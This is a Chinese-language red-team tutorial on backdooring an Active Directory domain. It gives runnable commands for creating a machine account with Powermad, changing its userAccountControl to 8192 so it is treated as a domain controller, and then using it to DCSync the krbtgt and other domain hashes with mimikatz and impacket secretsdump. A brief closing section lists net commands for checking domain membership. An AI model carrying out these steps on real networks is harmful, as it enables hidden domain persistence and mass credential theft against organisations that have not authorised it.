相比于用域账户添加域管理员来做权限维持要隐蔽一些,也比较便捷,域控制器≥2019不行前置知识默认的情况下,域中的标准用户最多可以创建10个机器账户,这是由ms-DS- MachineAccountQuota进行设定的。我们可以使用Powermad等工具从加入域和未加入域的 主机中进行添加账户操作。但为了让机器账户在域中显示为域控制器,我们还需要将 userAccountControl 属性设置为0x2000(SERVER_TRUST_ACCOUNT)的值。0x2000换 算为十进制数字为8192.修改此属性需要域管理员级别的权限 在计算机对象的userAccountControl*属性中设置了 UF_SERVER_TRUST_ACCOUNT 位时, Active Directory 必须将同一对象的 rid(primaryGroupId)设置为域控制器组 的 RID 。因此,只 需更改 userAccountControl 即可授予计算机对象域控制器的权限。 权限维持时,可以从利用Standln、SharpMad以及PowerMad等工具创建机器账户,这里使用Powermad实验步骤Import-Module .\Powermad.ps1 New-MachineAccount -MachineAccount test1 -Domain test.com -DomainController WIN- CMESIJO487A.test.com##查看一下域内的计算机: net group "domain computers"/domainpowershell下运行(如果要在非DC下执行需要执行命令)##导入Microsoft.ActiveDirectory.Management.dll Import-Module Microsoft.ActiveDirectory.Management.dll查看test1机器账户的user Account Control属性值Get-ADComputer test1 -pro * | Select-object name, primarygroupid, useraccountcontrol 我们所创建的这台机器账户的rid经过查询是515,他是域组的RID,表示这是一台域计算机, 利用Active-Module模块,使用域管权限账户为计算机账户test1修改 userAccountControl 值 为8192,则rid将更改为属于域控制器的516。 修改机器账户user AccountControl属性值Set-ADComputer test1 -replace @{"userAccountcontrol" = 8192 }这个时候后⻔就已经设置好了如何利用由于计算机帐户的密码是已知的,所以可以用来做pth、ptk、ptt、dcsync导出域内hash 在域内机器用添加进去的机器账户启动cmdMimikatz然后用当前的cmd启动mimikatzlsadump::dcsync /domain:test.com /user:krbtgt也可以使用impacket工具包里的python3 secretsdump.py test.com/test1$:[email protected] -just-dc排查情况查看域用户net user /domain查看域计算机net group "domain computers" /domain查看域管理员net group "domain admins" /domain查看域控时间net time /domain查看域内控制器net group "domain controllers" /domain只有在ad管理计算机模块或者查看域控制器的时候才会出现